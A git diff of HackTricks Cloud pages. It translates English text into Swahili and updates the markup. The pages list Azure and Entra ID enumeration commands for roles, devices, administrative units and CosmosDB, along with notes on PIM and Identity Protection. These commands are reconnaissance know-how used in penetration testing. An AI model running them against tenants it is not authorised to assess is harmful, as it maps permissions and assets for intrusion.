|
||||
|
||||
### Majukumu ya Azure
|
||||
### Azure Roles
|
||||
|
||||
Kwa maelezo zaidi kuhusu majukumu ya Azure angalia:
|
||||
|
||||
@@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
|
||||
Get-AzDenyAssignment # Get from current subscription
|
||||
Get-AzDenyAssignment -Scope '/subscriptions/96231a05-34ce-4eb4-aa6a-70759cbb5e83/resourcegroups/testRG/providers/Microsoft.Web/sites/site1'
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw" }}
|
||||
|
||||
```bash
|
||||
# Pata ruhusa juu ya rasilimali kwa kutumia ARM moja kwa moja
|
||||
# Get permissions over a resource using ARM directly
|
||||
$Token = (Get-AzAccessToken).Token
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
|
||||
$RequestParams = @{
|
||||
@@ -913,13 +906,12 @@ Headers = @{
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Entra ID Roles
|
||||
### Entra ID Majukumu
|
||||
|
||||
For more information about Azure roles check:
|
||||
Kwa maelezo zaidi kuhusu majukumu ya Azure angalia:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -927,134 +919,125 @@ For more information about Azure roles check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Orodha ya templeti za Entra ID
|
||||
# List template Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
|
||||
|
||||
# Orodha ya majukumu ya Entra ID yaliyojengwa ndani
|
||||
# List enabled built-in Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
|
||||
# Orodha ya majukumu yote ya Entra ID pamoja na ruhusa zao (ikiwemo majukumu ya kawaida)
|
||||
# List all Entra ID roles with their permissions (including custom roles)
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
|
||||
|
||||
# Orodha ya majukumu ya Entra ID ya kawaida pekee
|
||||
# List only custom Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
|
||||
# Orodha ya majukumu yote ya Entra ID yaliyotolewa
|
||||
# List all assigned Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
|
||||
|
||||
# Orodha ya wanachama wa majukumu ya Entra ID
|
||||
# List members of a Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
|
||||
|
||||
# Orodha ya majukumu ya Entra ID yaliyotolewa kwa mtumiaji
|
||||
# List Entra ID roles assigned to a user
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
|
||||
# Orodha ya majukumu ya Entra ID yaliyotolewa kwa kikundi
|
||||
# List Entra ID roles assigned to a group
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
|
||||
# Orodha ya majukumu ya Entra ID yaliyotolewa kwa huduma ya msingi
|
||||
# List Entra ID roles assigned to a service principal
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```bash
|
||||
# Pata kila kigezo cha jukumu kilichopatikana
|
||||
# Get all available role templates
|
||||
Get-AzureADDirectoryroleTemplate
|
||||
# Pata majukumu yaliyoanzishwa (Majukumu yaliyotolewa)
|
||||
# Get enabled roles (Assigned roles)
|
||||
Get-AzureADDirectoryRole
|
||||
Get-AzureADDirectoryRole -ObjectId <roleID> #Pata taarifa kuhusu jukumu
|
||||
# Pata majukumu ya kawaida - tumia AzureAdPreview
|
||||
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
|
||||
# Get custom roles - use AzureAdPreview
|
||||
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
|
||||
# Watumiaji waliotolewa jukumu (Msimamizi wa Kijumla)
|
||||
# Users assigned a role (Global Administrator)
|
||||
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
|
||||
Get-AzureADDirectoryRole -ObjectId <id> | fl
|
||||
# Majukumu ya Kitengo cha Utawala (nani ana ruhusa juu ya kitengo cha utawala na wanachama wake)
|
||||
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
|
||||
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Devices
|
||||
### Vifaa
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Ikiwa unajua jinsi ya kufanya hivi, tuma PR!
|
||||
# If you know how to do this send a PR!
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="MS Graph" }}
|
||||
|
||||
```bash
|
||||
# Orodha vifaa kwa kutumia Microsoft Graph PowerShell
|
||||
# Enumerate devices using Microsoft Graph PowerShell
|
||||
Get-MgDevice -All
|
||||
|
||||
# Pata maelezo ya kifaa
|
||||
# Get device details
|
||||
Get-MgDevice -DeviceId <DeviceId> | Format-List *
|
||||
|
||||
# Pata vifaa vinavyosimamiwa kwa kutumia Intune
|
||||
# Get devices managed using Intune
|
||||
Get-MgDevice -Filter "isCompliant eq true" -All
|
||||
|
||||
# Pata vifaa vinavyomilikiwa na mtumiaji
|
||||
# Get devices owned by a user
|
||||
Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com
|
||||
|
||||
# Orodha ya amri zinazopatikana katika Microsoft Graph PowerShell
|
||||
# List available commands in Microsoft Graph PowerShell
|
||||
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```bash
|
||||
# Orodha ya Vifaa
|
||||
# Enumerate Devices
|
||||
Get-AzureADDevice -All $true | fl *
|
||||
# Orodha ya vifaa vyote vilivyo hai (na si vifaa vilivyokufa)
|
||||
# List all the active devices (and not the stale devices)
|
||||
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
|
||||
# Pata wamiliki wa vifaa vyote
|
||||
# Get owners of all devices
|
||||
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
|
||||
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
|
||||
# Watumiaji waliosajiliwa wa vifaa vyote
|
||||
# Registred users of all the devices
|
||||
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
|
||||
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
|
||||
# Pata vifaa vinavyosimamiwa kwa kutumia Intune
|
||||
# Get dives managed using Intune
|
||||
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
|
||||
# Pata vifaa vilivyo na mmiliki
|
||||
# Get devices owned by a user
|
||||
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
|
||||
# Pata Vitengo vya Utawala vya kifaa
|
||||
# Get Administrative Units of a device
|
||||
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
|
||||
> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
|
||||
> Ikiwa kifaa (VM) kime **unganishwa na AzureAD**, watumiaji kutoka AzureAD wataweza **kuingia**.\
|
||||
> Zaidi ya hayo, ikiwa mtumiaji aliyeingia ni **Mmiliki** wa kifaa, atakuwa **meneja wa ndani**.
|
||||
|
||||
### Administrative Units
|
||||
### Vitengo vya Utawala
|
||||
|
||||
For more information about administrative units check:
|
||||
Kwa maelezo zaidi kuhusu vitengo vya utawala angalia:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1062,34 +1045,30 @@ For more information about administrative units check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Orodha ya vitengo vya kiutawala
|
||||
# List all administrative units
|
||||
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
|
||||
# Pata taarifa za AU
|
||||
# Get AU info
|
||||
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
|
||||
# Pata wanachama
|
||||
# Get members
|
||||
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
|
||||
# Pata wakuu wenye majukumu juu ya AU
|
||||
# Get principals with roles over the AU
|
||||
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AzureAD" }}
|
||||
|
||||
```bash
|
||||
# Pata Vitengo vya Utawala
|
||||
# Get Administrative Units
|
||||
Get-AzureADMSAdministrativeUnit
|
||||
Get-AzureADMSAdministrativeUnit -Id <id>
|
||||
# Pata ID ya kitengo cha utawala kwa kutumia mfuatano
|
||||
# Get ID of admin unit by string
|
||||
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
|
||||
# Orodhesha watumiaji, vikundi, na vifaa vilivyoathiriwa na kitengo cha utawala
|
||||
# List the users, groups, and devices affected by the administrative unit
|
||||
Get-AzureADMSAdministrativeUnitMember -Id <id>
|
||||
# Pata majukumu ambayo watumiaji wanayo juu ya wanachama wa AU
|
||||
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Pata ID ya jukumu na wanachama wa jukumu
|
||||
# Get the roles users have over the members of the AU
|
||||
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
@@ -1109,29 +1088,29 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Pata ID ya jukumu na wanachama
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
|
||||
Privileged Identity Management (PIM) katika Azure inasaidia **kuzuia mamlaka kupita kiasi** kutolewa kwa watumiaji bila sababu.
|
||||
|
||||
One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
|
||||
Note that the user will also be able to ask to **extend** the time.
|
||||
Moja ya sifa kuu zinazotolewa na PIM ni kwamba inaruhusu kutokutoa majukumu kwa wakuu ambao wako hai kila wakati, bali kuwafanya **kuwa na haki kwa kipindi fulani (mfano miezi 6)**. Kisha, kila wakati mtumiaji anapotaka kuanzisha jukumu hilo, anahitaji kuomba akionyesha muda anahitaji mamlaka (mfano masaa 3). Kisha **meneja anahitaji kuidhinisha** ombi hilo.\
|
||||
Kumbuka kwamba mtumiaji pia atakuwa na uwezo wa kuomba **kupanua** muda.
|
||||
|
||||
Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
|
||||
Zaidi ya hayo, **PIM inatuma barua pepe** kila wakati jukumu lenye mamlaka linapopewa mtu.
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
When PIM is enabled it's possible to configure each role with certain requirements like:
|
||||
Wakati PIM imewezeshwa, inawezekana kuweka kila jukumu na mahitaji fulani kama:
|
||||
|
||||
- Maximum duration (hours) of activation
|
||||
- Require MFA on activation
|
||||
- Require Conditional Access acuthenticaiton context
|
||||
- Require justification on activation
|
||||
- Require ticket information on activation
|
||||
- Require approval to activate
|
||||
- Max time to expire the elegible assignments
|
||||
- A lot more configuration on when and who to send notifications when certain actions happen with that role
|
||||
- Muda wa juu (masaa) wa kuanzishwa
|
||||
- Hitaji la MFA wakati wa kuanzishwa
|
||||
- Hitaji la muktadha wa uthibitishaji wa Upatikanaji wa Masharti
|
||||
- Hitaji la sababu wakati wa kuanzishwa
|
||||
- Hitaji la taarifa za tiketi wakati wa kuanzishwa
|
||||
- Hitaji la idhini ili kuanzisha
|
||||
- Muda wa juu wa kuisha kwa ugawaji unaostahiki
|
||||
- Mengi zaidi ya usanidi kuhusu wakati na nani wa kutuma arifa wakati vitendo fulani vinapotokea na jukumu hilo
|
||||
|
||||
### Conditional Access Policies
|
||||
|
||||
Check:
|
||||
Angalia:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -1139,23 +1118,23 @@ Check:
|
||||
|
||||
### Entra Identity Protection
|
||||
|
||||
Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
|
||||
Entra Identity Protection ni huduma ya usalama inayoruhusu **kubaini wakati mtumiaji au kuingia ni hatari sana** kukubaliwa, ikiruhusu **kuzuia** mtumiaji au jaribio la kuingia.
|
||||
|
||||
It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
|
||||
Inaruhusu meneja kuiseti ili **kuzuia** majaribio wakati hatari ni "Chini na juu", "Kati na juu" au "Juu". Ingawa, kwa default imezimwa kabisa:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
|
||||
> Sasa hivi inashauriwa kuongeza vizuizi hivi kupitia sera za Upatikanaji wa Masharti ambapo inawezekana kuweka chaguo sawa.
|
||||
|
||||
### Entra Password Protection
|
||||
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
|
||||
It also allows to **ban a custom password list** that you need to provide.
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) ni kipengele cha usalama ambacho **kinasaidia kuzuia matumizi mabaya ya nywila dhaifu kwa kufunga akaunti wakati majaribio kadhaa yasiyofanikiwa ya kuingia yanapotokea**.\
|
||||
Inaruhusu pia **kufungia orodha ya nywila maalum** ambayo unahitaji kutoa.
|
||||
|
||||
It can be **applied both** at the cloud level and on-premises Active Directory.
|
||||
Inaweza **kutumika kwa kiwango cha wingu na kwenye Active Directory ya ndani**.
|
||||
|
||||
The default mode is **Audit**:
|
||||
Njia ya default ni **Ukaguzi**:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@@ -10,22 +10,23 @@ Hakuna ruhusa zilizotolewa kwa huduma hii, kwa hivyo hakuna mbinu za kupandisha
|
||||
|
||||
### Key Features
|
||||
|
||||
**Environment**: Azure Cloud Shell inatoa mazingira salama kwa kukimbia kwenye Azure Linux, usambazaji wa Linux wa Microsoft ulioandaliwa kwa ajili ya miundombinu ya wingu. Kila pakiti iliyojumuishwa katika hifadhi ya Azure Linux inakusanywa ndani na Microsoft ili kulinda dhidi ya mashambulizi ya mnyororo wa usambazaji.
|
||||
**Preinstalled Tools**: Cloud Shell inajumuisha seti kamili ya zana zilizowekwa awali kama Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, na wahariri wa maandiko kama vim, nano, na emacs. Zana hizi ziko tayari kutumika. Ili kuorodhesha pakiti na moduli zilizowekwa, unaweza kutumia "Get-Module -ListAvailable", "tdnf list" na "pip3 list".
|
||||
**$HOME persistence**: Unapozindua Azure Cloud Shell kwa mara ya kwanza, unaweza kuitumia na au bila akaunti ya kuhifadhi iliyounganishwa. Kuchagua kutounganisha kuhifadhi kunaunda kikao cha muda ambapo faili zinafuta wakati kikao kinamalizika. Ili kuhifadhi faili kati ya vikao, ungana na akaunti ya kuhifadhi, ambayo inajunganishwa kiotomatiki kama **$HOME\clouddrive**, huku saraka yako ya **$HOME** ikihifadhiwa kama faili **.img** katika Azure File Share. Hata hivyo, faili zilizo nje ya $HOME na hali za mashine hazihifadhiwi. Ili kuhifadhi kwa usalama siri kama funguo za SSH, tumia Azure Key Vault.
|
||||
**Azure drive (Azure:)**: PowerShell katika Azure Cloud Shell inajumuisha diski ya Azure (Azure:), ambayo inaruhusu urahisi wa kuvinjari rasilimali za Azure kama Compute, Network, na Storage kwa kutumia amri kama za mfumo wa faili. Badilisha kwenda kwenye diski ya Azure kwa cd Azure: na rudi kwenye saraka yako ya nyumbani kwa cd ~. Unaweza bado kutumia cmdlets za Azure PowerShell kusimamia rasilimali kutoka diski yoyote.
|
||||
**Custom Tool Installation**: Watumiaji wanaoanzisha Cloud Shell na akaunti ya kuhifadhi wanaweza kufunga zana za ziada ambazo hazihitaji ruhusa za mzizi. Kipengele hiki kinaruhusu uboreshaji zaidi wa mazingira ya Cloud Shell, kikimwezesha watumiaji kubinafsisha mipangilio yao kulingana na mahitaji yao maalum.
|
||||
**Environment**: Azure Cloud Shell inatoa mazingira salama kwa kukimbia kwenye Azure Linux, usambazaji wa Linux wa Microsoft ulioandaliwa kwa ajili ya miundombinu ya wingu. Pakiti zote zilizomo katika hifadhi ya Azure Linux zimeandaliwa ndani na Microsoft ili kulinda dhidi ya mashambulizi ya mnyororo wa usambazaji.
|
||||
**Preinstalled Tools**: Cloud Shell inajumuisha seti kamili ya zana zilizowekwa awali kama Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, na wahariri wa maandiko kama vim, nano, na emacs. Zana hizi ziko tayari kutumika. Ili kuorodhesha pakiti na moduli zilizowekwa unaweza kutumia "Get-Module -ListAvailable", "tdnf list" na "pip3 list".
|
||||
**$HOME persistence**: Unapozindua Azure Cloud Shell kwa mara ya kwanza, unaweza kuitumia na au bila akaunti ya kuhifadhi iliyounganishwa. Kuchagua kutounganisha kuhifadhi kunaunda kikao cha muda ambapo faili zinafuta wakati kikao kinamalizika. Ili kuhifadhi faili kati ya vikao, ungana na akaunti ya kuhifadhi, ambayo inajunganishwa kiotomatiki kama **$HOME\clouddrive**, huku saraka yako ya **$HOME** ikihifadhiwa kama faili **.img** katika Azure File Share. Hata hivyo, faili zilizo nje ya $HOME na hali za mashine hazihifadhiwi. Ili kuhifadhi kwa usalama siri kama funguo za SSH, tumia Azure Key Vault.
|
||||
**Azure drive (Azure:)**: PowerShell katika Azure Cloud Shell inajumuisha diski ya Azure (Azure:), ambayo inaruhusu urahisi wa kuvinjari rasilimali za Azure kama Compute, Network, na Storage kwa kutumia amri kama za mfumo wa faili. Badilisha kwenda kwenye diski ya Azure kwa cd Azure: na rudi kwenye saraka yako ya nyumbani kwa cd ~. Unaweza bado kutumia cmdlets za Azure PowerShell kusimamia rasilimali kutoka diski yoyote.
|
||||
**Custom Tool Installation**: Watumiaji wanaoanzisha Cloud Shell na akaunti ya kuhifadhi wanaweza kufunga zana za ziada ambazo hazihitaji ruhusa za mzizi. Kipengele hiki kinaruhusu uboreshaji zaidi wa mazingira ya Cloud Shell, ikiwaruhusu watumiaji kubinafsisha mipangilio yao kulingana na mahitaji yao maalum.
|
||||
|
||||
## References
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
|
||||
## Persistence
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
|
||||
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-persistence/az-cloud-shell-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,32 +4,27 @@
|
||||
|
||||
## Azure CosmosDB
|
||||
|
||||
**Azure Cosmos DB** ni **hifadhidata ya NoSQL, ya uhusiano, na ya vector** inayosimamiwa kikamilifu, inatoa nyakati za majibu za milisekunde moja, upanuzi wa kiotomatiki, na upatikanaji unaoungwa mkono na SLA pamoja na usalama wa kiwango cha biashara. Inaruhusu maendeleo ya programu kwa haraka kupitia usambazaji wa data wa mikoa mingi, APIs za chanzo wazi, SDKs za lugha maarufu, na vipengele vya hifadhidata vya AI kama vile msaada wa vector uliojumuishwa na uunganisho usio na mshono wa Azure AI.
|
||||
**Azure Cosmos DB** ni **hifadhidata ya NoSQL, ya uhusiano, na ya vector** inayosimamiwa kikamilifu, inatoa nyakati za majibu za milisekunde moja, upanuzi wa kiotomatiki, na upatikanaji unaoungwa mkono na SLA pamoja na usalama wa kiwango cha biashara. Inaruhusu maendeleo ya programu kwa haraka kupitia usambazaji wa data wa mikoa mingi, APIs za chanzo wazi, SDKs za lugha maarufu, na vipengele vya hifadhidata vya AI kama msaada wa vector uliojumuishwa na uunganisho wa Azure AI usio na mshono.
|
||||
|
||||
Azure Cosmos DB inatoa APIs nyingi za hifadhidata ili kuunda mfano wa data halisi kwa kutumia nyaraka, uhusiano, funguo-thamani, grafu, na mifano ya data ya familia ya safu, ambapo APIs hizi ni NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin na Table.
|
||||
|
||||
Moja ya vipengele muhimu vya CosmosDB ni Akaunti ya Azure Cosmos. **Akaunti ya Azure Cosmos**, inafanya kazi kama kiingilio kwa hifadhidata. Akaunti inamua mipangilio muhimu kama vile usambazaji wa kimataifa, viwango vya usawa, na API maalum itakayotumika, kama vile NoSQL. Kupitia akaunti, unaweza kuunda upya wa kimataifa ili kuhakikisha data inapatikana katika mikoa mingi kwa ufikiaji wa chini wa ucheleweshaji. Zaidi ya hayo, unaweza kuchagua kiwango cha usawa kinacholingana kati ya utendaji na usahihi wa data, ikiwa na chaguzi zinazotofautiana kutoka kwa Usawa Imara hadi Usawa wa Hatimaye.
|
||||
Jambo muhimu kuhusu CosmosDB ni Akaunti ya Azure Cosmos. **Akaunti ya Azure Cosmos**, inafanya kazi kama lango la hifadhidata. Akaunti inamua mipangilio muhimu kama vile usambazaji wa kimataifa, viwango vya usawa, na API maalum itakayotumika, kama NoSQL. Kupitia akaunti, unaweza kuunda upya wa kimataifa ili kuhakikisha data inapatikana katika mikoa mingi kwa ufikiaji wa chini wa latency. Zaidi ya hayo, unaweza kuchagua kiwango cha usawa kinacholingana kati ya utendaji na usahihi wa data, ikiwa na chaguzi zinazotofautiana kutoka kwa Usawa Imara hadi Usawa wa Hatimaye.
|
||||
|
||||
### NoSQL (sql)
|
||||
API ya Azure Cosmos DB NoSQL ni API inayotegemea nyaraka inayotumia JSON kama muundo wake wa data. Inatoa sintaksia ya kuhoji inayofanana na SQL kwa kuhoji vitu vya JSON, na kuifanya iweze kutumika kwa kufanya kazi na data iliyopangwa na semi-iliyopangwa. Kituo cha huduma ni:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
API ya NoSQL ya Azure Cosmos DB ni API inayotegemea nyaraka inayotumia JSON kama muundo wake wa data. Inatoa sintaksia ya kuhoji inayofanana na SQL kwa kuhoji vitu vya JSON, na kuifanya iweze kutumika kwa kazi na data iliyopangwa na isiyo na mpangilio. Kituo cha huduma ni:
|
||||
```bash
|
||||
https://<Account-Name>.documents.azure.com:443/
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Databases
|
||||
Ndani ya akaunti, unaweza kuunda moja au zaidi ya hifadhidata, ambazo hutumikia kama makundi ya mantiki ya kontena. Hifadhidata inafanya kazi kama mpaka wa usimamizi wa rasilimali na ruhusa za mtumiaji. Hifadhidata zinaweza kushiriki kupitia uwezo wa kupangwa kati ya kontena zao au kugawa uwezo maalum kwa kontena binafsi.
|
||||
Katika akaunti, unaweza kuunda moja au zaidi ya hifadhidata, ambazo hutumikia kama makundi ya mantiki ya kontena. Hifadhidata inafanya kazi kama mpaka wa usimamizi wa rasilimali na ruhusa za mtumiaji. Hifadhidata zinaweza kushiriki kupitia uwezo wa kupangwa kati ya kontena zao au kugawa uwezo maalum kwa kontena binafsi.
|
||||
|
||||
#### Containers
|
||||
Kitengo cha msingi cha uhifadhi wa data ni kontena, ambacho kinashikilia hati za JSON na kimepangwa kiotomatiki kwa ajili ya uchunguzi wa ufanisi. Kontena zinaweza kupanuliwa kwa urahisi na kusambazwa kati ya sehemu, ambazo zinatolewa na ufunguo wa sehemu ulioelezwa na mtumiaji. Ufunguzi wa sehemu ni muhimu kwa kuhakikisha utendaji bora na usambazaji sawa wa data. Kwa mfano, kontena inaweza kuhifadhi data za wateja, huku "customerId" ikiwa kama ufunguo wa sehemu.
|
||||
|
||||
#### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# CosmoDB Account
|
||||
## List Azure Cosmos DB database accounts.
|
||||
@@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name <AccountName> --container-name <Cont
|
||||
az cosmosdb sql user-defined-function list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.CosmosD
|
||||
|
||||
@@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "<ResourceGroupName>" -AccountName "
|
||||
# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Muunganisho
|
||||
|
||||
Ili kuungana na azure-cosmosDB (pip install azure-cosmos) maktaba inahitajika. Zaidi ya hayo, mwisho wa huduma na ufunguo ni vipengele muhimu ili kufanya muunganisho.
|
||||
{% code overflow="wrap" %}
|
||||
Ili kuungana na azure-cosmosDB (pip install azure-cosmos) maktaba inahitajika. Zaidi ya hayo, mwisho wa huduma na ufunguo ni vipengele muhimu ili kufanikisha muunganisho.
|
||||
```python
|
||||
from azure.cosmos import CosmosClient, PartitionKey
|
||||
|
||||
@@ -158,11 +149,7 @@ print("All items in the container:")
|
||||
for item in all_items:
|
||||
print(item)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Njia nyingine ya kuanzisha muunganisho ni kutumia **DefaultAzureCredential()**. Inahitaji tu kuingia (az login) na akaunti ambayo ina ruhusa na kuitekeleza. Kwa kesi hii, lazima ifanyike ugawaji wa jukumu, ikitoa ruhusa zinazohitajika (ona kwa mor)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
